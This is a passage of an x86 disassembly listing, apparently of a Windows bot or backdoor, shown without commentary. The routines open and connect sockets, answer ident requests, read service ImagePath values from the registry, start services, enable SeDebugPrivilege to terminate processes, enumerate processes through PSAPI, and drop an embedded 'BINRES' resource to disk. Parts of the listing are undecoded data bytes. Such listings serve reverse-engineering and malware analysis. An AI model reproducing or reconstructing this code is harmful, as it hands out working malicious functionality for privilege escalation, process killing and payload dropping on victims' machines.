		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6ED9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 2801E3Fh
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB68
		xor	eax, eax
		mov	dword_50BB54, eax
		mov	dword_50BB4C, 1
		mov	dword_50BB5C, eax
		mov	dword_50BB60, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB6C
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		nop
		call	near ptr 28D079Ch
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44794F
		mov	dword_50BB48, 20h
		mov	dword_50BB4C, 2
		mov	dword_50BB50, 3
		mov	dword_50BB54, esi
		mov	dword_50BB58, esi
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28D047Bh
		cmp	eax, esi
		mov	dword_50BB6C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		nop
		call	near ptr 28D079Ch


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB68, ecx
		push	100h
		mov	ecx, offset byte_44794F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28D0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2860AE2h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 27605D2h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 2760B59h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 2770000h
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 277043Ah
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 95E89056h, 0C6022CFFh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 2810703h


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 291027Bh
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28C0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443B04 ; "\\"
		call	near ptr 76085AE4h
		nop
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23A0716h,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28E09A5h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 288068Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 28F0371h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 2750D8Dh
		push	eax
		nop
		call	near ptr 28A16CCh
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 2750E10h
		push	eax
		nop
		call	near ptr 28A1D33h
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		call	near ptr 28B0000h
		nop
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		call	near ptr 279081Fh
		nop
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	near ptr 2760000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		call	near ptr 26F0000h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2860AE2h
		test	eax, eax
		mov	dword_50BB70, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27B0922h
		test	eax, eax
		mov	dword_50BB70, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB74, eax
		mov	eax, dword_50BB70
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB70
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB78, eax
		call	esi
		mov	ecx, dword_50BB74
		mov	dword_50BB7C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB78
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB78
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB7C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		call	near ptr 2810703h
		nop


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
